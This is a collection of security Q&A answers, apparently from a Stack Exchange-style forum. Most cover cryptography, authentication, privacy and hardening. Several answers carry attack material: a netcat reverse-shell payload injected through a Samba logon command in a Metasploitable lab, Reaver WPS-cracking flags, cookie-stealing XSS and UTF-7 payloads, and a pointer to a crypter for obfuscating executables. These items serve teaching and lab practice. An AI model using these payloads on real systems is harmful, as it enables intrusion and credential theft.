What's the point of the nonce in CTR mode?

The "nonce" is better known as the Initialization Vector -- with "IV" being the universal short name for that concept. CTR mode works by encrypting the successive values of a counter (CTR stands for "CounTeR"), so the IV in CTR mode is merely the value at which the counter starts.

CTR basically produces a long key-dependent pseudorandom stream, and encryption occurs by XORing that stream with the data to encrypt; in that sense, it is very similar to One-Time Pad, except that the key stream is generated with AES (as a kind of PRNG): this voids the mathematical greatness of OTP, i.e. its absolute security, but it makes the scheme usuable in practice.

Using an IV of value zero is fine... as long as you do it only once. If you reuse a counter value (with the same key) for another run, then you end up with the same thing as OTP where the "pad" is not "one-time". This is a classical break. The idea is that, for a given key, you should consider each counter value as "burnt" whenever you use it. If you do a first encryption run starting with counter value 0, then you will use counter values 0 to, say, 12782 (for instance if the data encrypted that time had length 276525 bytes). If you do not change the key, then you MUST NOT reuse any of the counter values 0 to 12782. The next encryption run with that key ought to start with IV = 12783.

Conversely, sticking to an IV of value 0, always, will be secure as long as you use the AES key only once. This would make sense in an SSL-like protocol, where a connection-specific encryption key is negotiated during an initial handshake, used for that connection, then dropped forever.

More generally, most modes of operations for block cipher use an IV (because they have some "running state" which must start somewhere), and the requirements for these IV depend on the mode. CTR can tolerate a fixed IV if you never reuse the key for another run. CBC does not even tolerate that, because a predictable IV can be leveraged for chosen-plaintext attacks.


Second, if SHA-512 is not good, is there another algorithm which CPU's or GPU's are good at, but FPGA/ASIC's are not?

Yes there is. This particular algorithm is called scrypt which is why scrypt is highly recommended as a password hashing algorithm in the first place.

Also, designing a new cryptocurrency. Not a good idea when you don't even have rudimentary knowledge of cryptography.


What is the risk of sharing the client_secret.json in a public repo?

As user @thehowch stated and as I understand the whole procedure, the very main risk of sharing a client_secret.json is that of opening an attack vector for phishing attacks, since someone could just copy the client_secret and then present him/herself as a trustworthy authority where users would give their authorizations to it and thus would open their google drive to the attacker.

Also quota-usage of Google's API would be registered on the google project account which possesses the client_secret. Thus an attacker could just block our usage by exhausting the quota. Of course this risk is nothing compared to the phishing attack. Just as a side-node for the sake of completeness.


How do I share a password in a FIPS-compliant manner?

You must NEVER send a password over e-mail, or similar way. You can solve that issue using Public key cryptography (or asymmetrical cryptography). I won't get into much detail about how it works but the basic idea is that everyone has a pair of keys, a public (which should be public) and a private one (which should be kept secret). The public key is used to encrypt messages and the private key to decrypt messages.

For example if Bob wants to send "info.pdf" to Alice, he will encrypt it with Alice's public key, which is known, and only Alice's private key can be used for the decryption (only Alice knows the private key). This of course is a very minimal example and public key cryptography is a huge topic, so you should definitely make your research on the subject.

Now there are many easy ways you can use to encrypt your e-mails, files etc... For example PGP is one of the most popular standards to use for email encryption that uses symmetric-key cryptography to encrypt the data and public-key cryptography to encrypt the key that was used to encrypt the data. Then the receiver uses his private key to decrypt the encrypted-key, and then uses the decrypted-key to decrypt the data. So PGP uses both symmetric-key cryptography and public-key cryptography.


Android anti-tampering and SSL pinning bypass solid implementation

Code Obfuscation

Obfuscation can only act as a hurdle for an attacker doing secure code review. Paid obfuscators such as Dexgaurd are far better than the free ones and can be used to considerably increase  the attack complexity. But, we should not completely rely on obfuscation as an attacker can spend good amount of time to deobfuscate and analyze the code.

Android Anti-Tampering

Android system is built on the top of Linux kernel. A root user(Rooting Android Device) in Linux system is a super user and has all the administrative privileges and so can do almost anything on the system. This includes bypassing the almost all the security implementations implemented in application/device. Therefore, I believe that there is no sure-shot solution to verify the integrity of the application.

Having said that, I suggest implementation of solutions that can help us to considerably increase the attack complexity and build somewhat tamper proof applications and SafteyNet Attestation API is one of them. I personally suggest the implementation of this API for implementing application integrity checks. It is a paid solution as the free quota is very limited. You must check the implementations guidelines properly and it should be securely implemented to get desired results.

For anti-hooking/debugging, I strongly recommend you to check Android Anti-Reversing Defenses that can be implemented to substantially increase the complexity.


What is the correct way to create a backup copy of a PGP key pair?

What is the correct command to backup my key pair?

You got it right. Exporting the secret key does export the key pair. The PGP private key includes the public key. Just as @raffaem said in his comment.
Also, in regards to the actual key data itself, an RSA or ECC public key can be derived from its corresponding private key.

Where should I keep the backup? Since the private key is in plain text, should I further encrypt it with a password of mine?

You should always encrypt these backups. But you don't need to "further encrypt" anything. GPG will do password-based encryption for you. That's why gpg asks you for a password when it exports the private key. The private key is only exported as plaintext if you chose to enter a blank password (viz. not enter a password).

[From the comments] When I exported the private key, it asked for the password. So I thought that the key was decrypted with the password and then exported. If the key is exported encrypted with the password, why it is asking me the password to export it in the first place?

Because you are choosing the password when you export the key. There is no password before that (unless you lock your keyring with a password, but you will have needed to unlock it for gpg beforehand anyway).
GPG takes the private key, asks you for a password, and uses the password to encrypt the private key. Then it outputs the ciphertext private key. It is doing automatically exactly what I think you imagined doing manually when you asked about whether to "further encrypt it with a password of mine".


Is it safe to use private key encryption for lots of small blocks of data themselves?

Yes, you can use RSA with a good padding scheme for this. I would recommend OAEP, even if it requires more overhead (up to 130 bytes for SHA-512).

No, your private key is safe. The contents of the cryptographic messages is safe as well, even if the plaintext is known (the random padding added before encryption will make sure that you cannot distinguish between cryptographic messages based on the contents of the plaintext).

If encryption with the public key would break this scheme then RSA encryption would be broken; an attacker has the ability to encrypt an arbitrary number of messages.

Please note that:

a hybrid cryptosystem is still more flexible and should be preferred;
encryption and especially decryption of many small messages is going to take a large amount of CPU time;
the private key is only secure if side channel attacks do not apply (i.e. decrypt on a secure system);

Furthermore, RSA encryption only provides confidentiality of the messages (not authenticity of messages):

anybody can encrypt, including attackers;
messages can be re-ordered at will;
messages can be left out at will;
messages can be replaced at will;

You will of course also need some scheme to ensure that the private key is not used without the presence of the auditor/owner.


Does a reverse proxy pass keep the backend server anonymous?

If properly configured, then yes, the IP address of the backend server would be hidden. This is the operating principle behind DDoS protection services like Cloudflare: Hide the real server behind a proxy server that can tolerate a large volume of traffic while filtering out bad requests.

That said, if it's imperative that your backend server IP remains hidden then you need to make sure it is not being leaked, either by your web application or by any DNS records that you have. If the backend server is publicly reachable, you should configure its firewall to only accept requests from the proxy server. This will prevent it from being discovered through a scan of all public IP addresses looking for a server that serves the same webpage as your proxy.


How are Mozilla Firefox passwords encrypted?

I have created a visual explanation of the firefox algorithm, not very pretty but I hope it helps.


Is client side encryption really better than server side?

You are correct.  Given your goals, client-side encryption probably doesn't make a lot of sense.  It is not that it is worthless, just that there are some significant pitfalls and the value is limited, so your time would probably be better spent on other measures.  A classic technical reference on this topic is Javascript Cryptography Considered Harmful.

If you're thinking that using client-side cryptography might help perception, even if it doesn't actually improve real security, I don't think that's a very promising angle, either.  The average user is going to have no clue what the phrase "client-side cryptography" means and so I don't think they're going to associate it with warm fuzzy feelings.

I think you are better off taking standard steps to build trust with your users and to improve how you protect your users' data.  Have you moved to sitewide HTTPS?  Do you have a strong, customer-friendly privacy policy?  Are you focused on serving your customers well and making them passionate about your site?


By default, after each failed attempt, Reaver delays the PIN attempt by 1 second. You can disable this 1 second delay by adding -d 0 to your Reaver command. (This may not work well with all APs)

Also, you can use --dh-small flag to instruct Reaver to use small diffie-hellman secret numbers so that, computational load is reduced on the target AP.

Source: Reaver Wiki


Reverse connection Metasploitable 2 -> Kali Linux (Samba 3.x) without Metasploit

It looks like you are setting up your listener in smb (vulnerable box).

smb: \> nc -nlvp 4444 -e /bin/bash

What you should be doing is setting up the listener in your attacking box.
using the following command instead:

nc -nlvp 4444

Finally from your metasploitable2 you issue the command:

logon "/=`nc 'attack box ip' 4444 -e /bin/bash`"


Storing Credit Card Information on Mobile Phones

You are absolutely correct.  Storing the credit card on the device as it is currently being stored would be asking for trouble and would not be in line with PCI-DSS guidelines.  One of the "Don'ts" on the PCI-DSS compliance states "Do not store cardholder data unless it is absolutely necessary" and beyond this there would need to be adequate measures to ensure that this data was being safeguarded.  From what you have described - yes the data is encrypted but no it is not absolutely necessary to store this data.

Even Apple Pay on iPhone6 won't store your credit card details on the device - they use tokenisation.

Hope that answers your question.


Does using incognito mode protect from browser fingerprinting techniques?

In general, incognito mode isn't effective against fingerprinting. Fingerprinting looks at characteristics of your browser/system like your user agent, plugin lists, and screen resolution, none of which can be stopped by refusing to save (or clearing) data from your visit to the site (which is all incognito mode does).


Functional Specification for Common Criteria EAL 1 evaluation

Check out the guidance from the German scheme, on page 83 of the following document:

http://www.commoncriteriaportal.org/files/ccfiles/CommonCriteriaDevelopersGuide_1_0.pdf


Does removing a GUI from a server make it less vulnerable?

Removing the GUI is useful and recommended. It will remove unused components, a lot of libraries, and makes the install size smaller.

How does this make it less vulnerable?

Fewer components equal less attack surface. A vulnerability on a GUI component will not affect you. Attacks relying on GUI components won't work either.

So, when designing a server, remove every single component not needed by the application you are serving. It will be way more secure than using the default install.


Analyzing whether browser certificates have been compromised

You don't have a huge amount of choice. As I understand it, the root certificates that are automatically trusted by Firefox are actually embedded in Firefox's source code. It looks like you can choose to untrust them through the settings, but you can not actually remove one of the default root certs.
We all have to trust that Firefox has a rigorous and respectable process for including a CA as a trusted root. See Firefox's page on how they choose to include root certs. Since the root certs are embedded in the source code of the browser, the only way to remove one is for Firefox to push a security update, so we also have to trust them to do this in a timely manner if one of the trusted roots has a breach.


Client certificate authentication in TLS

The basic principle for client certificate authentication is the same as for server certificate validation.

It is assumed that a Certificate Authority (CA) is trusted to sign certificates for clients, so verifying that the certificate is signed by a Trusted CA confirms the identity of the client.

Since authenticating a client is usually the responsibility of a private entity (like a corporation), most client certificate authentication operates with a "self-signed" CA. The CA certificate is then loaded into the server application and client certificates on incoming connections are compared against the CA certificate.


My data in popular web apps like Facebook, YouTube

GDPR, article 15, enforces the right of access by the data subject. This means a company must be able to check, which personal data is stored, and it must also provide a full copy on request. Failure to do so can result in significant fines.

All the relevant requirements and limitations regarding the right of access are listed in the link I provided above.


Exploiting incorrectly escaped `mysql_query() or die(mysql_error())` to exfiltrate data?

First part of question is ... how would I exfiltrate information with
  this " condition I have found? Is there a special name for it other
  than SQL injection that I can read more about?

No, this is exactly SQL injection.  If the results of the query are being printed, it's possible to use UNION to mix in data from other tables that are not intended to be disclosed.  Even if the results of the query aren't printed, blind SQL injection can be used to map out the contents of the database one character at a time.  If found in a login form, authentication bypass is a possibility.

It's a complex specialty area of security; some might consider writing valid SQL queries to be hard enough on it's own without throwing the injection curve in.  There's a decent cheat sheet here, and all sorts of tutorials of varying quality available on the web.

  Second part of question is: The mysql_error output seems like it could
  be advantageous for a wannabe intruder, but I am unaware of the depth
  of information it could provide.

Firstly, it's a large flag indicating that SQL injection is possible.  But secondly, when an intruder is attempting SQL injection, having detailed error messages makes it easier for them to adapt their queries to get something that runs properly - messages like the one above pinpoint where the query went wrong.


Am I right by changing the default algorithm on a web app?

Changing the algorithm "because the attacker will not know it" is a very poor reason for changing an algorithm. To begin with, the attacker may infer that you will use an algorithm for which support exists in the code, which limits the possible choices, and the algorithm can then often be disambiguated based on what can be seen on the output (if the output is 160 bits, that's SHA-1, not MD5).

It would be a severe delusion that changing the algorithm really brings, by that "attacker won't guess it" reasoning, significantly increased security. Algorithms cannot be assumed to be secret, because information about the algorithm leaks everywhere: in the code, in the code behaviour (e.g. execution time), in the head of developers... and the space of possible algorithms is tiny.

Now changing from MD5 to PBKDF2 or bcrypt is a very good idea. Not because the attacker would assume that it is MD5 and "never guess" that bcrypt was used; in fact, bcrypt's output tends to be obvious in that respect (they have a specific encoding of output + salt as a string which states clearly that bcrypt was used). But because a basic MD5 is a terrible way to hash passwords. If you want to store hashed passwords, at least do it correctly, which means, right now, PBKDF2 or bcrypt.


Outlook for Android uses intermediate Microsoft Servers

Is it possible that they could be authenticating over a TLS tunnel from their own server rather than the client device without sharing
  the credentials?

No, for the server to make the connection, it has to know the credentials.  And we know that the server does make the connection, not the client, because I captured all the packets coming off my Android tablet running Outlook 3.0.46 (315) and absolutely none of them went to the configured IMAP and SMTP server, but quite a few went to Microsoft addresses.  Even if their mail bastion acted like an HTTP CONNECT proxy, we would expect to see the TLS certificates from my servers, and I did not.

Likewise, when I sent mail to a third party, the first hop mailserver was mail.outlook.com, which had to authenticate to my mail server to send the mail through it.  That's all in the SMTP headers for the recipient to review.

So, it's their server doing the connections, not the client tunneling through.  And that means their server knows your passwords, even if only transiently.

  Does this mean that the intermediate server is able to read mail prior to pushing it to the client?

Yes, it does.

  Is this behaviour documented or known?

That's hard to say.  Their bundled documentation doesn't clearly describe it that I saw, but there's a surprising amount of documentation there.

It is worth noting that there is a legitimate technical driver for this behavior - the various phone and wireless networks your device may move between may block access to mail services; it's sort of the sole area that ingress filtering ever took off.  By forcing your communications through home base Microsoft, they can ensure that mail protocols aren't blocked at the source...

...whether that's worth it to you is another question.


why my Metasploit folder does not have wordlists folder (usr/share/)?

on kali, the standard path for wordlists is /usr/share/wordlists - you should find several subfolders there containing wordlists.


Does blocking ads and deleting cookies improve privacy online?

Let's see:

  I always use uBlock

This improves your privacy protection. Note that some ads are only not shown, but still running in background (thus they still can get some info about you such as IP).

Ad blocking also makes you more secure from malware - for example, ad blocking protects you from some malwertising, which is a major infection vector nowadays. This could also be used as argument for blocking in some "ad blocking ethics" disputes.

  I usually use Self-Destructing Cookies to delete residual cookies from
  YouTube, Amazon, etc. after I log out.

I suggest also to clear your ALL browser cookies once a month or so. If you don't clear all of them, they can still keep tracking you using a cookie from a third party website under their control.

And of course don't forget to log out of services like Google if you don't want all your searches to be

  I use HTTPS Everywhere to protect against eavesdropping on public
  networks.

Helps a bit (only if the web site actually supports HTTPS)

  Flash is disabled whenever it is not in use

Good for security as well as privacy.

  If I'm looking something up quickly on a public computer, I use
  private browsing mode so that form entries are not logged.

Doesn't affect your privacy in general, as you have a single browsing session and could be tracked within it. Ironically, using public computer and NOT clearing your cookies could improve your privacy (by poisoning Google and other profiles), but of course comes with obvious security risks.

Note that there are many other risks using a public computer, such as installed malware or keylogger (including hardware keylogger).

  I carry a USB stick that has a portable version of Firefox with the above
  addons installed.

This is a bit helpful, but again the main issue with public computer is (lack of) security, and possibility to have keyloggers, from which your portable firefox won't protect.

  I am aware that Google, Facebook, etc. track my activity regardless of
  what I do on my local system.

However your actions make it harder for them. If you do google search while logging in, they KNOW it is you. If only your IP matches, it might or might not be you, so the profiling degree is less confident.

And regarding Google, make it a habit to spend 15 minutes a week to "poison" your profile, by searching for something you would never search or never be interested in, and by sending out emails in Gmail (to your other or non-existent accounts) using topics/keywords as far away from your interests as possible.


How to decrypt a file encrypted under multiple public keys GPG

There are two possible interpretations of your question. I'll asume what you have in mind is the following:

Suppose your friends have key pairs (sk_1,pk_1), (sk_2,pk_2), (sk_3,pk_3) and e(pk, data) encrypts and (sk, data) decrypts and p is your plain text.

First interpretation

You encrypt like this:

c = e(pk_3,e(pk_2,e(pk_1, p)))

Then, yes, to decrypt c you need to do

p = d(sk_1,d(sk_2,d(sk_3,c)))

e.g. need all your friends' keys.

Note that the ordering in crutial and that no single user can decrypt the data nor can it be salvaged whenever one key is lost.

Also, this would require your friends to in turn share the intermediate results (because no one will giva away his secret key, hopefully) with one another and the decrypted file. Especially the last step might impose other security concerns if not carefully done.

There are however systems that require a group of people to work together for decryption that are tailored for that purpose, which GPG is not.

Second interpretation

The other interpretation is:

You create one file for each friend, like

c1 = e(pk_1, p)
c2 = e(pk_2, p)
c3 = e(pk_3, p)

Then each one of your friends can decrypt 'his/her' file on their own.


Why would a hacker/thief just use my credit card for Apple in-app purchase?

Honestly, there is a surplus of credit cards out there for cheap, so it's likely to get more for your money buying dozen(s) of them and using all of them for smaller purchases in hopes of evading notice form their owners.

I have never bought stolen credit cards, but if seemingly reputable online bloggers/news sites like Krebs are to be believed, it's a remarkably easy task with no skill level required. As to the prolific availability, there is an analysis/rant section in the below article that speaks to it a bit.

http://krebsonsecurity.com/2016/01/hyatt-card-breach-hit-250-hotels-in-50-nations/


how to know what hash function have been used

There is only one solution: try all known algorithms on your input until you find your output.


NodeJs app files integrity security check

What you're probably looking for is a Host Intrusion Detection System, or HIDS for short. These monitor the filesystem for changes and allow you to send alerts when something is modified, often either by email or by logging into a centralised system like Nagios.

The most common open-source HIDS I come across is OSSEC, and on the commercial side is Tripwire. There's also Verisys. As far as I know all three of these are cross-platform.


(Copied from my answer on StackOverflow )

No.
HtmlEncode simply does NOT cover all XSS attacks.
Encoding is the correct solution, but not always HTML encoding - you need context-sensitive encoding.

For instance, consider server-generated client-side javascript - the server dynamically outputs htmlencoded values directly into the client-side javascript, htmlencode will not stop injected script from executing.

Next, consider the following pseudocode:

<input value=<%= HtmlEncode(somevar) %> id=textbox>

Now, in case its not immediately obvious, if somevar (sent by the user, of course) is set for example to

a onclick=alert(document.cookie)

the resulting output is

<input value=a onclick=alert(document.cookie) id=textbox>

which would clearly work. Obviously, this can be (almost) any other script... and HtmlEncode would not help much.

There are a few additional vectors to be considered... including the third flavor of XSS, called DOM-based XSS (wherein the malicious script is generated dynamically on the client, e.g. based on # values).

Also don't forget about UTF-7 type attacks - where the attack looks like

+ADw-script+AD4-alert(document.cookie)+ADw-/script+AD4-

Nothing much to encode there...

The solution, of course (in addition to proper and restrictive white-list input validation), is to perform context-sensitive encoding: HtmlEncoding is great IF your output context IS HTML, or maybe you need JavaScriptEncoding, or VBScriptEncoding, or AttributeValueEncoding, or... etc.

If you're using MS ASP.NET, you can use their Anti-XSS Library, which provides all of the necessary context-encoding methods.

Note that all encoding should not be restricted to user input, but also stored values from the database, text files, etc.

Oh, and don't forget to explicitly set the charset, both in the HTTP header AND the META tag, otherwise you'll still have UTF-7 vulnerabilities...

Last point, regarding Stored XSS - since you would be doing the encoding during the page generation, on the data output, it is agnostic as to the source of the data, whether from user input (i.e. Reflected XSS) or Database/files (i.e. Stored/Persistent XSS). (So basically yes.)

Some more information, and a pretty definitive list (no longer updated), check out RSnake's Cheat Sheet: http://ha.ckers.org/xss.html


Compiler Parameters to isolate a C++ program

Providing such restrictions are usually not considered the task of a compiler and it would be very hard to do anyway. Even if only a restricted set of libraries would be available for linking it is still possible to directly call into syscalls, i.e. no library needed.

For the use case you envision (homework submission) one should instead execute the generated program inside some restricted environment, i.e. sandboxing it within a virtual machine, containers or similar. In the simplest case you might run the code as a different and restricted user but then you should be really sure that your system is not exploitable by a low privileged user.

But there is another interesting use case where the developer itself wants to restrict the abilities of the program in order to reduce the impact of possible bugs in the program. Here technologies like pledge, seccomp or similar allow the program to explicitly give up the ability to do specific system calls (which can never be gained again) so that a bug in the program cannot be used to cause much harm.

Using the last idea where the program restricts itself could be also used in your use case to enable such restrictions before main gets called. One might do this to have a different compiler runtime or have other ways to execute code before main. Personally I would have much less trust in such a solution since much more can go wrong compared to running inside a real sandbox.

See also this questions at Unix & Linux where the OP tries to solve a similar problem and where a solution using seccomp is described in detail.


Does this represent a security issue as I thought the two networks are separate and so should not be able to ping each other?

Whether or not it is a security issue is up to you, but the router is behaving normally.

Because the router is directly connected to both networks, it understands how to send traffic between them. To avoid this, you can implement ACLs (firewall rules) or separate the traffic into vlans.

It should be noted that testing connectivity with ping is only testing the ability of ICMP packets to traverse the network. Your firewall rules can be set to block ICMP packets, so pings will fail, but there will still be connectivity. In order to truly segregate the networks you would need a deny all from one network to the other, or split the networks into two vlans and only allow each vlan to access to itself.


Broadly speaking: As long as you comply with the standard, if your ISMS is still in place as a whole and all your information security processes are working fine your certificate should be fine as well.

You should definitely evaluate all changes that come with the move itself. If there are any major developments within your infrastructure or your organization, then your ISMS will probably be affected as well. You have to react to these changes properly.

You should also contact your certificate authority and ask them, what their expectations are, in a case like this


Why are water treatment facilities or similar connected to the internet?

It is the common balance between ease of use and security. The most secure system I can imagine is a switched off system inside a physical safe in secured room in a strong building, with armed guards around. But to access it, you have to physicaly enter the building, go to the secure room, tell the guards why you are there, open the safe, switch the system on, do the job, and then revert everything, meaning switch off, put in safe, lock the safe, quit the room and the building. Phew...
Hiring human beings is quite expensive, so instead of having a bunch of employees each with a car and ready to go to the water treatment installations just to change some parameters, you just connect everything to internet, and then a single employee can control a number of remote systems. Furthermore, a rather good part of system maintenance can be performed remotely by the system provider, with again a serious money gain.
So serious organizations do an analysis of security risks, with the chance of occurence, the impact, and the cost required to eliminate of reduce each risk. From that point they can objectively decide to establish some actions to reduce some risks and accept others. Exactly like in real life scenarii, I have a lock on the main door at my home, to prevent casual bad guys to come in, but I know that if an important organization decide to break in, I cannot prevent it: the cost of securing all the issues (including the roof) is not acceptable from my point of view. So I accept that risk, and contract with an insurance company to partially transfer it.
But I agree with you on one point: when it comes to the IT world, many people for both their private and work life fail at doing that security analysis, and let sensitive information unprotected without even thinking of the possible impacts.


Should I request a CVE for bugs in number-crunching software?

If this is truly a vulnerability then yes get a CVE.  But remember, all bugs are not vulnerabilities.  Looking at the previous comments, if an attacker could take over a website or make it crash then yes, that's definitely a vulnerability.


Inject custom markup via vanilla JS without increasing risk of client-side XSS?

I'm not sure I read you right, but I think you want to insert untrusted HTML into the DOM using JavaScript? If so, these are my recommendations:

First of all you need a HTML purifier or sanitizer or whatever you want to call it, that removes any inline CSS or scripts. One example is Google Caja, but I am sure there are more options out there. Make sure to configure it to work the way you want it to. Blocking styles and scripts might not be the only thing you want to do. What about iframes? Forms? Links to strange protocols?
Now you need to use it on everything you insert into the DOM by e.g. using innerHTML(). One way to do that is to create a new function to use instead:

Element.prototype.secureInnerHTML = function(input) {
  this.innerHTML(mySanitizer(input));
}

Note that .textContent and .setAttribute() are already safe, as they operate directly on the DOM and does not treat the input as a string of HTML. In general, it is a good rule to always use .textContent when markup is not needed.
Set a strict content security policy, disallowing all inline scripts and styles.

I'm not saying this will make you 100% secure, but at least it is a good start. Please note that since we have disabled inline CSS all styling has to be done using classes. If allowing inline CSS is a requirement, you have a much harder problem to solve.


What Cipher suites does Hashicorp Vault use?

Yes, the Vault server exposes an HTTP API.  It can be run either with or without TLS.

There is a configuration option for specifying the allowed versions of TLS for the server, but not the specific cipher suites.  This has been requested.  It appears Vault uses Go's default cipher suite list.

The Vault cli client likely does the same thing.  However, for most usage you'll use a library specific to your language, and the details of how that library implements the TLS connection are up to it.

If you find it necessary to have more control over the cipher suites exposed by the server, you can set up a TLS terminator (such as Nginx or HAProxy) that will handle the connection to clients, then forward requests from there to the Vault server (potentially again via HTTPS).


Do I have the private keys to CAs installed on my browser?

IIRC, and I could be wrong, This is because it was using self signed certs that were generated psuedo on-the-fly.
Because of this, if you reverse engineer the interception mechanism you could extract the private key


Can just clicking on a malicious link lead to hacking of my device?

Yes, you can get hacked by just clicking a link.
Consider what happens when you install an extension in your browser? That's a link. Also, who said that your browser cache and history is completely secure? Most of us have our bank account details and other sensitive information stored there. You click a link and foreign code is downloaded and run on your computer -- horribly dangerous behaviour if you ask me. Any weakness in your defenses, or flaw in your security models, and you could be open to exfiltration of sensitive info and have your entire life ruined.
Are there any disclosed vulnerabilities in browsers that would allow such an attack? Maybe, maybe not, but the impact is high enough that even a small risk causes this to be a major concern.
Ok, I'm overplaying things for dramatic effect. Most people won't get hacked this way and the web is for the most part safe. It is likely that such hacks will take the resources of state-sponsored hackers. But, if you're in a sensitive job, maybe state-sponsored hackers are interested in your data and you should be very careful about which websites you visit. Even if you're not, then you should be aware of which part of the web you're browsing -- news outlets, programming sites, entertainment, probably all safe, but if you're looking for hacking tutorials and dark-web resources, then caveat emptor.


How can I obfuscate a 64-bit executable Windows file?

Since you explicitly mention Hyperion...

It looks like whatever project your using has an outdated version of the Hyperion codebase that can't do 64-bit. If you look at nullsecs repos they have a version that claims to work with 64-bit code, they are the original authors of Hyperion it appears.

You can find their codebase for Hyperion here along with prebuilt releases (in the releases folder)


How safe is your data when it passes from your laptop to your 4G wifi hotspot?

For Wi-Fi using the standard WPA2 Personal encryption, any device which knows the PSK (password) will be able to both sniff and inject data for any other device connected to that network. This means that a mobile phone, if connected to the same AP, will be able to tamper with connections from your laptop.

However, if you are connecting to a banking website which is using HTTPS, then it may not be a risk. If that is the case (which it really should be), then encryption will take place between your browser and the bank server, and your mobile phone will not be able to read or tamper with the connection.


What this might be is a probe for known SSIDs by your iPhone. You might have saved his wifi and this probe might be trying to connect to a hidden SSID (your phone is probing to see if the SSID is in range). This is not abnormal.


It is an established method for improving security to give application only the privileges they are expected to need. This way the impact of a potential security issue is limited. Sandboxing  using pledge, seccomp or similar technologies is one way to limit the privileges an application might abuse but it is not the only way. Typical other technologies are different users for different tasks, SELinux, containers, virtual machines etc.

These technologies differ in the overhead, the protection they offer, how hard they are to use etc. If any of these technologies are used and which one(s) therefore depends on the actual requirements, i.e. typically a balance between the required security, the needed performance and the amount of money available to implement and run it.

For the usual web application sandboxing all the application using seccomp or pledge is in my opinion not that easy. A better and easier separation is probably offered in this case with containers or virtual machines. Also, running known to be problematic steps like image processing in a restricted setup (process with different user, sandbox, container, VM...) separated from the rest of the application will increase the security.

Thus in summary: yes you should probably restrict your web application on the server side to limit the impact of a potential security problem. But if you use process based sandboxing using pledge or seccomp or if you use different technologies or if you combine multiple technologies depends on the actual requirements (security, performance) and limits (money and time available for development and maintenance).


App-to-app or service-to-service authentication using federated login

OAuth2 specifies different flows. For app-to-app authentication, you may consider the client credentials flow, which works without redirection. (The app exchanges its credentials directly for an access token at server 1 and uses that token to access the resources at server 2).
The Microsoft Docs provide examples for using the client credentials flow with (Azure) Active Directory.


How secure is the UNIX sha_crypt as a password storage algorithm?

SHA256crypt and SHA512crypt was described by Ulrich Drepper here. He provides an algorithm and implementation, but unfortunately not a security analysis, any proof that this algorithm is secure, or any insight in his design decisions. This makes it hard to analyze the security of the algorithm.

The algorithm is pretty much like PBKDF2, in that it performs many iterations of a hash. Like PBKDF2, it does not require a lot of memory to compute. This means that it can easily be computed on hardware with many cores with little memory, such as GPUs.

Scrypt and bcrypt were specifically designed to need some memory when computing them, which means they are better resistant to parallel computation on specific hardware.


If that was produced by crypt(3) then it is an MD5 hash.

  If salt is a character string starting with the characters
        "$id$" followed by a string terminated by "$":

        $id$salt$encrypted

  then instead of using the DES machine, id identifies the
  encryption method used and this then determines how the rest
  of the password string is interpreted.  The following values
  of id are supported:

         ID  | Method
         ─────────────────────────────────────────────────────────
         1   | MD5
         2a  | Blowfish (not in mainline glibc; added in some
             | Linux distributions)
         5   | SHA-256 (since glibc 2.7)
         6   | SHA-512 (since glibc 2.7)


Someone else's cloud infrastructure too sketchy for large enterprise SaaS application?

So just because its on a machine in your building makes it yours?  Do you know everything running on this machine?  The answer is always No.   A piece of hardware providing a service is a black box to the end user.  If anything having a vendor send you a dedicated piece of hardware is a massive security threat.  Firewall settings should always be very constrictive when it comes to remote connections.  For the vast majority of enterprise networks I have encountered the idea of an attacker with a black box inside your local network is a nightmare.

An important defense in depth security principle is isolation.  When a system is compromised it becomes a beach head for a full scale invasion of the rest of your infrastructure.    An ideal security design would have every system isolated and only exposing the minim necessary functionality to the other components of your infrastructure.  SaaS and cloud computing can conform to this design,  but so can traditional computing platforms.


What is the point of having a refresh token if it can be as easily stolen as an access token on client-side/JavaScript applications (SPA/PWA)?

You're correct. If refresh token is stored in same vault as access token, the distinction between the two is diluted.
In https://auth0.com/blog/refresh-tokens-what-are-they-and-when-to-use-them/ is a phrase "Refresh tokens are usually subject to strict storage requirements to ensure they are not leaked".
If your application is compromised by attacker, you will anyway be in trouble. Still there exist scenarios where having separate token for access and refresh is beneficial as the attacker cannot access the refresh token.
Again, there are number of scenarios where the phrase from question "attacker can steal the refresh token as easily as he would be able to steal the access token" holds true.
To answer the original question is: Every improvement in security is an improvement no matter how small they are!


The direct answer as to why your 128-bits are converted into 512-bits from this hash, is because it is padded with 1s and 0s at different steps to be congruent (mathematically) with even variable numbers (mod 512).


Completely preventing TCP SYN flood attacks is impossible; the best you can do is to mitigate them.  Those registry settings are a valid option and may help you if you are under a weak or mild SYN flood attack.  They work by simply limiting the duration and amount of half open connections when undergoing the symptoms of a SYN flood.  In other words it makes the server less patient in waiting for the client to complete the three-way handshake (i.e. completing the connection).

Here are a few other common defenses to help mitigate SYN flood attacks:

Increasing the server(s) resources (e.g. adding more memory, or more servers for load balancing)
If filtering IP addresses is an option, this would be the most effective approach.  For example, if you know your website will only be used by a certain IP address range (or geographical location) you could filter the IP addresses that are allowed to connect.  A white-list of IP addresses of known legitimate clients could also be used to give higher priority to those connections.
You could also check out SYN Cookies which is a creative mitigation method that could help as well.

For additional reading on these SYN flood mitigation methods, I suggest reading section 3 of RFC 4987

Hope this helps!


A good option is to backup to a remote system which regularly creates unmodifiable snapshots of the filesystem, which cannot be changed/deleted with the same credentials used to access the files.

I use FreeNAS for storing my personal files, and every 15min a snapshot of the ZFS volume is created on the server.

The account used to access the files can also be used to browse and restore old versions, but to delete a snapshot different credentials are needed which are not stored on my PCs.

The important part is: using the credentials stored on the PC (which are used to access the current version of the files and change them) it is not possible to delete snapshots.

But remember: Even a RAID system with scheduled automated snapshots cannot replace backups!


How to check if USB device isn't malicious?

Watching your system and kernel log seem appropriate.

On linux:

tail -f /var/log/kern.log /var/log/syslog

before inserting device, then look output when inserting USB device... Care to stay watching for some minutes after plug.

When USB device is plugged, logs show what kind of device is recognized. Required drivers will be loaded, if needed.

If usb storage is recognized as a network devices, holding a full network, with upnp servers, who send automatically media. This could be something harmful.
If device trig your system to load many different drivers, when they are only simple storage device, this look abnormal.
If device trig your system to load only one driver, corresponding to device purpose, this look fine (Nota: A cheap mouse won't require specific driver!! If yes, this could look suspicious).

You even could use lsusb before and after plug USB device, then look for differences. (Do this in a second console, while watching your logs as previously recommended)

On linux:

lsusb >lsusb-before.txt

Plug device

lsusb  | diff lsusb-before.txt -

About your cheap mouse: If you see two devices: one mouse and one data storage, containing mouse driver, this could be ok, but if the mouse won't work on your system and you decide to install embed driver, you will do this at your own risk!!

But care!

Some bad device, like USB Killer v3, could burn your hardware at time they are plugged!!!

